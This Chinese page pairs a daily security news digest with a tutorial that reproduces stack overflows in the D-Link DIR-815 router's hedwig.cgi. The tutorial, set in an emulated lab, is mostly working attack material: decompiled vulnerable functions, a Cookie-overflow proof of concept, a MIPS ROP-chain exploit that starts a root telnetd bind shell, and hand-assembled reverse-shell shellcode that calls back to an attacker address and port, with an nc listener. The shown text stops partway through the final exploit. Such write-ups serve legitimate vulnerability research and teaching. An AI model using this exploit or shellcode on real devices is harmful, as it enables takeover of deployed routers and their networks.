网络安全日报 2024年03月27日
1、新型钓鱼工具Tycoon 2FA可绕过多重身份验证 https://blog.sekoia.io/tycoon-2fa-an-in-depth-analysis-of-the-latest-version-of-the-aitm-phishing-kit/ 近期网络威胁情报显示,名为"Tycoon 2FA"的新型钓鱼工具正被黑客用于针对Microsoft 365和Gmail账户,并绕过双因素身份验证(2FA)保护。目前,Tycoon 2FA服务利用了1100个域名,在成千上万的钓鱼攻击中被观察到。该工具涉及一个多步骤过程,其中威胁行为者通过托管钓鱼网页的反向代理服务器盗取会话cookie,拦截受害者输入并转发至合法服务。一旦用户完成MFA挑战 2、近17万用户受伪装Python包供应链攻击影响 https://checkmarx.com/blog/over-170k-users-affected-by-attack-using-fake-python-infrastructure/ 研究人员披露,超过17万用户受到了一次针对Discord机器人开发者社区Top.gg用户群体的供应链攻击。该攻击主要通过伪装的Python PyPI软件包传播带有恶意软件的代码,这些恶意软件能够从受害者的浏览器、Discord应用、加密钱包以及包含特定关键字的文件中窃取数据。攻击者利用了多种供应链攻击技术,其中包括复制流行的Python软件包(如Colorama)、使用与Python官方站点极为相似的钓 3、GEOBOX黑客工具劫持Raspberry Pi伪造地理位置 https://www.resecurity.com/blog/article/cybercriminals-transform-raspberry-pi-into-a-tool-for-fraud-and-anonymization-geobox-discovery 据研究人员的报告,一个名为GEOBOX的新黑暗网工具通过劫持树莓派设备,让黑客们能够伪造地理位置并逃避检测。GEOBOX被设计来攻击树莓派4 B型号设备,使犯罪分子实现匿名化和欺诈。这一发现源自对一起在线银行盗窃案件的调查,涉及某财富100强金融公司的高净值客户。GEOBOX让犯罪分子可以操纵GPS数据,模拟网络,模仿Wi-F 4、CISA警告三大漏洞遭积极利要求机构紧急修补 https://www.cisa.gov/known-exploited-vulnerabilities-catalog 据一份新闻报道,美国网络安全和基础设施安全局(CISA)更新了其已知被利用的漏洞(KEV)目录,新添加了三个正被积极利用的安全漏洞。这些漏洞包括Fortinet的FortiClient EMS SQL注入漏洞(CVE-2023-48788, CVSS评分9.3)、Ivanti的Endpoint Manager Cloud Service Appliance代码注入漏洞(CVE-2021-44529, CVSS评分9.8)以及Nice的Linear eMerge E3系列的 5、新的ZenHammer内存攻击影响AMD Zen系列CPU https://comsec.ethz.ch/wp-content/files/zenhammer_sec24.pdf 研究人员开发了首个针对AMD Zen微架构CPU的Rowhammer变体攻击——ZenHammer,该攻击漏洞针对DDR4和DDR5内存芯片上的物理地址映射。尽管AMD Zen芯片和DDR5内存模块之前被认为对Rowhammer较不敏感,但最新研究发现挑战了这一观点。ZenHammer利用内存单元物理特性,通过重复访问("锤击")特定内存单元行来改变比特值,称为"比特翻转"。通过在特定位置诱发比特翻转,攻击者可能获取敏感数据或提升权限。研究人员通过逆向工程解决了AMD平台的 6、滑板品牌Vans警告顾客数据泄露 https://view.news.vans.com/?qs=ccb3da58015c46135093fc75f9499b6bbcce99c4171e5e5ada89c8e517e03e17679f64b6aefa0fb2ab3b1f4f3731248c5b14eb620f6ac9737c9838d904eb5aa2624b218e0feae8700cb4365083fc0054&& 滑板品牌Vans于2024年3月通知客户遭受了一次“数据事故”,导致个人信息可能泄露。2023年12月13日,Vans检测到其IT系统存在未经授权的活动,调查显示这一事故涉及客户的个人信息,包括邮箱地址、全名、 7、美国上千万卡车容易受蠕虫攻击 https://www.theregister.com/2024/03/22/boffins_tucktotruck_worm/ 科罗拉多州立大学研究人员发现,美国商用卡车使用的 Electronic Logging Devices(ELDs)存在安全漏洞,可被用于控制卡车,甚至在卡车之间传播蠕虫。 8、欧罗巴航空宣布客户数据可能遭到泄露 https://cybersecuritynews.com/air-europa-compromise-of-customer-data 西班牙著名航空公司欧罗巴航空公司(Air Europa)宣布,在去年10月发现安全事件后,其客户数据可能会遭到泄露。 9、Apple 修补了 iOS、macOS 中的代码执行漏洞 https://www.securityweek.com/apple-patches-code-execution-vulnerability-in-ios-macos/ Apple 发布了针对 iOS 和 macOS 设备的新安全更新,以解决任意代码执行漏洞。该问题被追踪为 CVE-2024-1580,被描述为导致越界写入的整数溢出,影响 iOS 和 macOS 的 CoreMedia 和 WebRTC 组件,并可能在图像处理过程中触发。 10、TheMoon僵尸网络在1-2月份感染了超过40,000 台设备 https://securityaffairs.com/161091/malware/themoon-malware-targets-soho.html Lumen Technologies 的 Black Lotus 实验室团队发现了“ TheMoon ”机器人的更新版本,该机器人针对报废 (EoL) 小型家庭/小型办公室 (SOHO) 路由器和物联网设备。该僵尸程序的新版本已被发现感染了 88 个国家/地区的数千台过时设备。TheMoon僵尸网络的活动 于 2014 年首次被发现,自 2017 年以来,其运营商在该僵尸网络的代码中添加了至少 6 个物联网设备漏洞。该僵尸网络针对多家供应商 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
踏入IOT安全世界:DIR-815路由器多次溢出漏洞分析复现
前言 在进行IOT安全领域的学习和实践中,经典漏洞的复现是必不可少的一环。本文将介绍一个经典漏洞,涉及到Binwalk、firmware-mod-kit、FirmAE等工具的使用,以及对DIR-815路由器中多次溢出漏洞的复现过程。 固件下载地址:https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/ 这个漏洞属于经典范畴,很多人选择通过此漏洞进行IOT安全入门的学习与实践。我们将一起回顾这个经典漏洞,踏入IOT安全的世界,并对DIR-815路由器中的多次溢出漏洞进行复现。 根据报告显示,此漏洞主要源于COOKIE长度未被限制,导致COOKIE长度过长时引发栈溢出问题。在本文中,我们将提供exp和poc,需要注意的是,在我的本地环境中,如果使用973作为偏移量,则调试无法成功连接,但不进行调试则可以成功连接。然而,如果使用1007作为偏移量,则调试可以成功连接,但不进行调试则无法成功连接。这种情况可能与仿真环境相关,欢迎大家积极尝试并探索。 工具安装 我的环境是 Ubuntu 22.04.4 LTS x86_64 Binwalk 我们要安装这个工具用来给FirmAE调用: git clone https://github.com/ReFirmLabs/binwalk.git cd binwalk sudo python setup.py install firmware-mod-kit 首先安装依赖: sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic 然后进行安装: git clone https://github.com/mirror/firmware-mod-kit.git cd firmware-mod-kit/src ./configure && make 可以进入https://github.com/mirror/firmware-mod-kit查看详细使用方法,本文不赘述。 FirmAE 我们需要安装FirmAE,和相关依赖进行固件仿真: git clone --recursive https://github.com/pr0v3rbs/FirmAE sudo pip3 install selenium 接着进入FirmAE目录运行: ./download.sh ./install.sh ./init.sh 随后,使用如下命令尝试是否能够仿真: sudo ./run.sh -c <brand> <firmware> 我们这篇文章的brand是d-link。如果成功仿真,使用如下命令进入仿真调试模式: sudo ./run.sh -d <brand> <firmware> 注意,仿真之后要输入2,进入shell之后运行如下命令关闭随机化,因为真机也是不开启的: echo "0" >> /proc/sys/kernel/randomize_va_space 基础知识 溢出漏洞 溢出漏洞是指由于缓冲区溢出等原因导致的内存溢出问题。这些漏洞可以让攻击者执行恶意代码,进而对路由器进行攻击和控制。 它可以使得黑客控制程序执行的pc,从而达到控制程序流的目的。要知道,pc可是指示程序下一条指令的地方!一旦攻击者成功控制了它,就能为所欲为了。 那么,如何利用栈溢出漏洞来控制程序执行呢?有两个常见的方法:shellcode和ROPchain。 首先,我们来说说shellcode。Shellcode是一段精心编写的机器码,通常用于执行特定的操作,比如获取系统特权或者执行其他恶意行为。攻击者可以通过溢出漏洞将shellcode注入到受影响的程序中,并控制程序执行,从而执行这段恶意代码。 另一种方法是使用ROPchain(Return-Oriented Programming)。ROPchain是一种利用已存在的代码片段(称为gadgets)来构建攻击代码的技术。攻击者可以通过溢出漏洞,将栈上的返回地址(Return Address)改写为指向这些gadgets的地址,然后利用这些gadgets的序列来实现特定的功能,比如执行系统调用或者跳转到其他函数。 所以,栈溢出漏洞非常危险,给了攻击者很大的控制力!要特别注意程序中的边界检查和缓冲区大小的限制,以避免这类漏洞的发生。在编程过程中,要时刻确保输入数据不会超出预期的范围,这样就能有效地防止栈溢出漏洞的利用。 HTTP协议 HTTP协议是一种用于传输超文本的协议,它由请求和响应组成。让我们来看一下HTTP请求的各个部分,分别是请求行、消息报头、请求正文。IoT安全当中传输信息,大多数需要HTTP协议来进行。 请求行 HTTP请求的第一行是请求行,它由三部分组成:请求方法、请求的资源路径(Request-URI)和HTTP协议的版本。格式如下: Method Request-URI HTTP-Version CRLF 例如: POST /registez.aspx HTTP/1.1 (CRLE) 消息报头 请求的消息报头包含了一系列的键值对,每个键值对由名字、冒号、空格和值组成。它们用于传递关于请求的额外信息。例如: Accept:image/gif 表示请求GIF图像格式的资源。 一个完整的请求消息报头可能包含多个键值对,像这样: GET /index.html HTTP/1.1 (CRLF) Accept:image/gif, image/x-xbitmap,*/* (CRLF) Accept-Language:zh-cn (CRLF) Accept-Encoding:gzip, deflate (CRLF) User-Rgent:Mozilla/4.0(compatible;MSIE6.0;Windows NT 5.0) (CRLF) Host:www.baidu.com (CRLF) Connection:Keep-Alive (CRLF) (CRLF) 请求正文 请求正文是可选的,它包含了请求的主体内容。它位于消息报头和消息主体之间的一个空行。请求正文可以包含各种数据,例如表单数据、JSON、XML等等。例如: Usernarme=admin&password=admin 实际上,请求正文可以包含更多内容,具体取决于请求的目的和需要。 我们在具体使用的时候,会使用python的相关库request或者http.client进行编程。 成因分析 Cookie来自char *getenv("HTTP_COOKIE")。 cgibin链接到其他的cgi的时候,此时cgibin里除了main,还会有别的cgi文件的main。 如本固件的hedwigcgi_main。 根据漏洞报告,搜索了HTTP_COOKIE字符串,找到相关函数sess_get_uid及其引用,这个函数有对uid的比较,分析得出COOKIE的数据组织形式是uid=payload。 int __fastcall sess_get_uid(int a1) {  int v2; // $s2  char *v3; // $v0  int v4; // $s3  char *v5; // $s4  int v6; // $s1  int v7; // $s0  char *string; // $v0  int result; // $v0  v2 = sobj_new();  v4 = sobj_new();  v3 = getenv("HTTP_COOKIE");  if ( !v2 )    goto LABEL_27;  if ( !v4 )    goto LABEL_27;  v5 = v3;  if ( !v3 )    goto LABEL_27;  v6 = 0;  while ( 1 ) {    v7 = *v5;    if ( !*v5 )      break;    if ( v6 == 1 )      goto LABEL_11;    if ( v6 < 2 )   {      if ( v7 == ' ' )        goto LABEL_18;      sobj_free(v2);      sobj_free(v4); LABEL_11:      if ( v7 == 59 )     {        v6 = 0;     }      else     {        v6 = 2;        if ( v7 != 61 )       {          sobj_add_char(v2, v7);          v6 = 1;       }     }      goto LABEL_18;   }    if ( v6 == 2 )   {      if ( v7 == 59 )     {        v6 = 3;        goto LABEL_18;     }      sobj_add_char(v4, *v5++);   }    else   {      v6 = 0;      if ( !sobj_strcmp(v2, "uid") )        goto LABEL_21; LABEL_18:      ++v5;   } }  if ( !sobj_strcmp(v2, "uid") ) { LABEL_21:    string = sobj_get_string(v4);    goto LABEL_22; } LABEL_27:  string = getenv("REMOTE_ADDR"); LABEL_22:  result = sobj_add_string(a1, string);  if ( v2 )    result = sobj_del(v2);  if ( v4 )    return sobj_del(v4);  return result; } 如果FirmAE无法直接解压固件,可以用fmk解压以后再压缩为tar.gz交给FirmAE。 FirmAE如果出现文件依然存在的情况,使用如下方案: sudo ip link set ${TAPDEV_0} sudo tunctl -d ${TAPDEV_0} 将其停止,可以重新启动仿真。 调试方法 仿真成功后,进入FirmAE进行如下输入——进入shell,查询http服务的进程号: ------------------------------ |       FirmAE Debugger     | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 2 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. / # ps | grep "httpd" 2387 root      1564 S   httpd -f /var/run/httpd.conf 8421 root       656 S    grep httpd / # Connection closed by foreign host. 随后输入进程号(此处是2387)启用gdb-server: ------------------------------ |       FirmAE Debugger     | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 4 641 root      1684 S   /firmadyne/sh /firmadyne/network.sh  643 root      1676 S   /firmadyne/sh /firmadyne/debug.sh  647 root      1680 S   /firmadyne/busybox telnetd -p 31338 -l /firmadyne/sh  648 root      1668 S   /firmadyne/busybox sleep 36000  649 root      1676 S   /firmadyne/sh  779 root       892 S   portt -c DNAT.PORTT 1300 root      1044 S   udhcpc -i eth3 -H dlinkrouter -p /var/servd/WAN-1-udh 1663 root       904 S   updatewifistats -i rai0 -x /phyinf:3 -r /runtime/phyi 1737 root       904 S   updatewifistats -i ra0 -x /phyinf:4 -r /runtime/phyin 2096 root       908 S   neaps -i br0 -c /var/run/neaps.conf 2108 root       884 S   netbios -i br0 -r dlinkrouter 2109 root       900 S   llmnresp -i br0 -r dlinkrouter 2156 root      1068 S   udhcpd /var/servd/LAN-1-udhcpd.conf 2351 root      1040 S   dnsmasq -C /var/servd/DNS.conf 2387 root      1568 S   httpd -f /var/run/httpd.conf 11504 root      1668 S   /firmadyne/busybox sleep 5 11553 root       660 R    ps PID USER       VSZ STAT COMMAND    1 root       656 S   init    2 root         0 SW   [kthreadd]    3 root         0 SW   [ksoftirqd/0]    4 root         0 SW   [kworker/0:0]    5 root         0 SW< [kworker/0:0H]    6 root         0 SW   [kworker/u2:0]    7 root         0 SW< [khelper]    8 root         0 SW   [khungtaskd]    9 root         0 SW< [writeback]   10 root         0 SWN [ksmd]   11 root         0 SW< [crypto]   12 root         0 SW< [bioset]   13 root         0 SW< [kblockd]   14 root         0 SW< [ata_sff]   15 root         0 SW< [cfg80211]   16 root         0 SW   [kworker/0:1]   17 root         0 SW   [kswapd0]   18 root         0 SW   [fsnotify_mark]   35 root         0 SW   [scsi_eh_0]   36 root         0 SW< [scsi_tmf_0]   37 root         0 SW   [scsi_eh_1]   38 root         0 SW< [scsi_tmf_1]   41 root         0 SW   [kworker/u2:3]   44 root         0 SW< [kpsmoused]   45 root         0 SW< [ipv6_addrconf]   46 root         0 SW< [defe [+] target pid : 2387 [+] gdbserver at 192.168.0.1:1337 attach on 2387 [+] run "target remote 192.168.0.1:1337" in host gdb-multiarch 宿主机保存如下脚本准备使用: set architecture mips set follow-fork-mode child set detach-on-fork off b _start #catch exec #这里去掉注释,就能够在对应的cgi文件停下 target remote 192.168.0.1:1337 假如保存为了gdb_script,那么在开启gdb-server以后使用如下命令进入调试: gdb-multiarch -x gdb_script POC编写 定位到漏洞点应该在下面的sprintf处,由char v27[1024]可以知道,溢出至少要1024的数据。源码如下。 int hedwigcgi_main() {  char *v0; // $v0  const char *v1; // $a1  FILE *v2; // $s0  int v3; // $fp  int v4; // $s5  int v5; // $v0  char *string; // $v0  FILE *v7; // $s2  int v8; // $v0  int v9; // $s7  int v10; // $v0  int *v11; // $s1  int i; // $s3  char *v13; // $v0  const char **v14; // $s1  int v15; // $s0  char *v16; // $v0  const char **v17; // $s1  int v18; // $s0  int v19; // $v0  char *v20; // $v0  char v22[20]; // [sp+18h] [-4A8h] BYREF  char *v23; // [sp+2Ch] [-494h] BYREF  char *v24; // [sp+30h] [-490h]  int v25[3]; // [sp+34h] [-48Ch] BYREF  char v26[128]; // [sp+40h] [-480h] BYREF  char v27[1024]; // [sp+C0h] [-400h] BYREF  memset(v27, 0, sizeof(v27));  memset(v26, 0, sizeof(v26));  strcpy(v22, "/runtime/session");  v0 = getenv("REQUEST_METHOD");  if ( !v0 ) {    v1 = "no REQUEST"; LABEL_7:    v3 = 0;    v4 = 0; LABEL_34:    v9 = -1;    goto LABEL_25; }  if ( strcasecmp(v0, "POST") ) {    v1 = "unsupported HTTP request";    goto LABEL_7; }  cgibin_parse_request(sub_409A6C, 0, 0x20000);  v2 = fopen("/etc/config/image_sign", "r");  if ( !fgets(v26, 128, v2) ) {    v1 = "unable to read signature!";    goto LABEL_7; }  fclose(v2);  cgibin_reatwhite(v26);  v4 = sobj_new();  v5 = sobj_new();  v3 = v5;  if ( !v4 || !v5 ) {    v1 = "unable to allocate string object";    goto LABEL_34; }  sess_get_uid(v4);  string = sobj_get_string(v4);  sprintf(v27, "%s/%s/postxml", "/runtime/session", string);  xmldbc_del(0, 0, v27);  v7 = fopen("/var/tmp/temp.xml", "w");  if ( !v7 ) {    v1 = "unable to open temp file.";    goto LABEL_34; }  if ( !haystack ) {    v1 = "no xml data.";    goto LABEL_34; }  v8 = fileno(v7);  v9 = lockf(v8, 3, 0);  if ( v9 < 0 ) {    printf(      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",      0);    v9 = 0;    goto LABEL_26; }  v10 = fileno(v7);  lockf(v10, 1, 0);  v23 = v26;  v24 = 0;  memset(v25, 0, sizeof(v25));  v24 = strtok(v22, "/");  v11 = v25;  for ( i = 2; ; ++i ) {    v13 = strtok(0, "/");    *v11++ = (int)v13;    if ( !v13 )      break; } (&v23)[i] = sobj_get_string(v4);  fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", v7);  v14 = (const char **)&v23;  v15 = 0;  do {    ++v15;    fprintf(v7, "<%s>\n", *v14++); }  while ( v15 < i + 1 );  v16 = strstr(haystack, "<postxml>");  fprintf(v7, "%s\n", v16);  v17 = (const char **)&(&v23)[i];  v18 = i + 1;  do {    --v18;    fprintf(v7, "</%s>\n", *v17--); }  while ( v18 > 0 );  fflush(v7);  xmldbc_read(0, 2, "/var/tmp/temp.xml");  v19 = fileno(v7);  lockf(v19, 0, 0);  fclose(v7);  remove("/var/tmp/temp.xml");  v20 = sobj_get_string(v4);  sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);  xmldbc_ephp(0, 0, v27, stdout);  if ( v9 ) {    v1 = 0; LABEL_25:    printf(      "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",      v1); } LABEL_26:  if ( haystack )    free(haystack);  if ( v3 )    sobj_del(v3);  if ( v4 )    sobj_del(v4);  return v9; } 构造poc如下: import http.client # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") # 设置请求头 headers = {    'Content-Length': '21',    'accept-Encoding': 'deflate',    'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+'a'*0x500,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&bid=3Rd4", headers=headers) # 获取响应 response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() 成功覆盖pc如下。 EXP编写 ROPchain_system(cmd) 接下来编写exp。 cyclic可以这么使用: >>> cyclic(0x100) b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac' >>> cyclic_find("cjaa") 235 >>> 从而轻松找到偏移。 我们修改一下poc如下,设置了payload,用如上方法找到偏移: import http.client from evilblade import * # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") payload = cyclic(0x500).decode() # 设置请求头 headers = {    'Content-Length': '21',    'accept-Encoding': 'deflate',    'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+payload,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 获取响应 response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() 得到段错误如下。 找偏移:(注意,此处导入pwntools也是一样的,这只是我自己写的封装库) >>> from evilblade import * >>> cyclic_find("klaa") 1043 >>> 再次修改poc确认偏移,成功控制返回地址。修改如下: import http.client from evilblade import * # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") payload = b'a'*1043+b"rlok" #前面1043个偏移,后面是rlok作为返回地址 payload = payload.decode() # 设置请求头 headers = {    'Content-Length': '21',    'accept-Encoding': 'deflate',    'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+payload,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 获取响应 response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() 结果如下,成功控制pc。 我们发现路由器里有telnetd服务,这样只要执行system("telnetd"),就可以在宿主机运行telnet 192.168.0.1getshell了。其中a0就是第一个参数。 我们看看MIPS的寄存器作用: ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "addiu \$s5, \$sp," 用上述命令,找到下面的gadget: 0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5 这样的情况,我们只要控制$sp + 0x10的位置是命令,并且s0是返回地址即可。 我们再次使用cyclic确定偏移,得到: *S0   0x6161636b ('kcaa') 也就是 >>> cyclic_find("kcaa") 1007 s0往后就是s1,s2以此类推。 不过我们遇到了一个新的问题,那就是system的地址偏移是0x53200,是以00为结尾的,我们需要绕过。我尝试过用0x531fc,这里是nop,但是由于$t9的值不正确,所以后面的变量会错误,导致程序无法正常运行,那么我们只能另寻出路。 这里我们要用到一个技巧: 由于现代处理器采用流水线执行指令的方式,在执行jalr指令时,下一条指令可能已经被预取和解码,并开始执行。因此,即使jalr指令改变了程序计数器的值,下一条指令也可能在当前指令被执行的同时开始执行。 也就是说,执行jalr的同时,下一个指令也会执行。 我们用这个指令: ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "move \$t9, \$s5 ; jalr \$t9 ; addiu \$s0" 找到gadget: 0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1 他会在跳转到$s5的同时,将s0+1,也就是说我们传入偏移为0x531ff即可,且$t9不会受到任何影响! 于是我们构造了如下的情况: 首先在s0传入system-1的地址,s5传入了0x000159cc的gadget。溢出之后,首先返回到s5的地址,同时,s0++,变为system的地址。此时执行第二个gadget,将"telnetd"传入s5,并且跳转到$s0也就是system,同时s5被赋值到a0也就是第一个参数,成功执行system("telnetd -l /bin/sh -p 55557")。设置端口是担心原本的被占用了。 如图,成功。 附exp: import http.client from evilblade import * set("./cgibin") # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") ## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断 nop = "\x26\x40\x08\x01" #libc基地址 libc = 0x77f34000 #gadget gadget = 0x159cc+libc gadget2 = libc+0x158c8 print(p32(gadget)) print(p32(gadget2)) sys = libc + 0x531ff print(p32(sys)) dx(sys) sys_ = '\xffq\xf8w' gad_sp = "\xcc\x99\xf4w" gad_to_s5 = "\xc8\x98\xf4w" payload = cyclic(973).decode() + sys_ + "cccc"  + gad_sp*7 + gad_to_s5  + "dddd"*4 + "telnetd -l /bin/sh -p 55557 & ls & " # 设置请求头 headers = { 'Content-Length': '21', 'accept-Encoding': 'deflate', 'Connection': 'close',    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',    'Host': '192.168.0.1',    'Cookie': 'uid='+payload,    'Content-Type': 'application/x-www-form-urlencoded' } # 发送POST请求 conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers) # 获取响应 response = conn.getresponse() # 打印响应状态码和响应内容 print(response.status, response.read().decode()) # 关闭连接 conn.close() shellcode 使用网站进行汇编转字节码:https://shell-storm.org/online/Online-Assembler-and-Disassembler/ 第一步:socket(2,1,0) 在socket()系统调用中,参数的含义如下: 第一个参数:套接字的域(domain)。对于IPv4网络套接字,通常使用AF_INET或者PF_INET,其值为2。 第二个参数:套接字的类型(type)。常见的套接字类型包括SOCK_STREAM(流套接字,用于TCP)和SOCK_DGRAM(数据报套接字,用于UDP)。 第三个参数:协议(protocol)。通常情况下,如果域和类型已经指定了,协议参数可以设为0,让操作系统自动选择合适的协议。在这里,值为0。 socket(2,2,0)的意思是创建一个IPv4的UDP套接字。 如下: addiu  a0, zero, 2 addiu  a1, zero, 2 addiu  a3, zero, 0 addiu  v0, zero, 0x1057 syscall 0x40404 为了绕过\x00限制改为: li $a0, 0x222 addi $a0,-0x220 li $a1, 0x222 addi $a1,-0x220 li $a2, 0x222 addi $a2,-0x222 li $v0, 0x1057 syscall 0x40404 得到: "\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01" 存入栈: sw $v0,480($sp) 得到: "\xe0\x01\xa2\xaf" 第二步: dup2(socket_obj,0) dup2(socket_obj,1) dup2(socket_obj,2) 将标准输入输出错误流重定向到sock对象。 如下: lw $a0,480($sp);           li $a1, 0x222 addi $a1,-0x222 li $v0,4063 syscall 0x40404         li $a1, 0x222 addi $a1,-0x221 li $v0,4063 syscall 0x40404         li $a1, 0x223 addi $a1,-0x221 li $v0,4063 syscall 0x40404 得到: "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01" 第三步,执行int connect(int sockfd, const **struct** sockaddr *addr,socklen_t addrlen); lw $a0,480($sp) addiu $a2,$zero,0x111 addi $a2,-0x101 lui $t6,0xbe15 ori $t6,$t6,0x0203     addi $t6, -0x0201 sw $t6,468($sp) //这里是端口,可以自己更改 lui $t7,0x0302 ori   $t7, $t7, 0xa9c1 addi $t7, $t7, -0x01020101 //这里是ip地址,可以自己更改 sw $t7,472($sp)                     la $a1,468($sp)               addiu $v0,$zero,4170     syscall 0x40404 此时是绑定在了192.168.0.2 5566,也就是攻击机器的地址。ip和端口涉及大端小端的问题,参考文章的时候是大端,我说怎么调了这么久都不对…… 要构造为(这是192.168.0.2 5566) 0xbe150002 0x0200a8c0 得到: "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01" 最后一步,执行execve("/bin/sh",["/bin/sh","-i"],0),注意,此处的第二个参数是个数组,让其能够交互: lui     $t1, 0x6e69 ori     $t1, $t1, 0x622f sw     $t1, -8($sp) lui     $t9, 0xff97 ori     $t9, $t9, 0x8cd0 not     $t1, $t9 sw     $t1, -4($sp) addiu   $sp, $sp, -8 add     $a0, $sp, $zero lui     $t1, 0x6e69 ori     $t1, $t1, 0x622f sw     $t1, -0xc($sp) lui     $t9, 0xff97 ori     $t9, $t9, 0x8cd0 not     $t1, $t9 sw     $t1, -8($sp) sw     $zero, -4($sp) addiu   $sp, $sp, -0xc slti   $a1, $zero, -1 sw     $a1, -4($sp) addi   $sp, $sp, -4 addiu   $t9, $zero, -5 not     $a1, $t9 add     $a1, $sp, $a1 sw     $a1, -4($sp) addi   $sp, $sp, -4 add     $a1, $sp, $zero slti   $a2, $zero, -1 ori     $v0, $zero, 0xfab syscall 得到: "\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf8\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\x20\x20\xa0\x03\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf4\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27\xff\xff\x0 监听: nc -lvp 5566 发现一个好工具:https://bbs.kanxue.com/thread-275619-1.htm 利用以上shellcode,成功反弹shell: 完整exp如下: import http.client from evilblade import * set("./cgibin") # 创建HTTP连接 conn = http.client.HTTPConnection("192.168.0.1") ## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断 nop = "\x26\x40\x08\x01" #libc基地址 libc = 0x77f34000 #gadget gadget = 0x159cc+libc gadget2 = libc+0x158c8 print(p32(gadget)) print(p32(gadget2)) sys = libc + 0x531ff print(p32(sys)) dx(sys) sys_ = 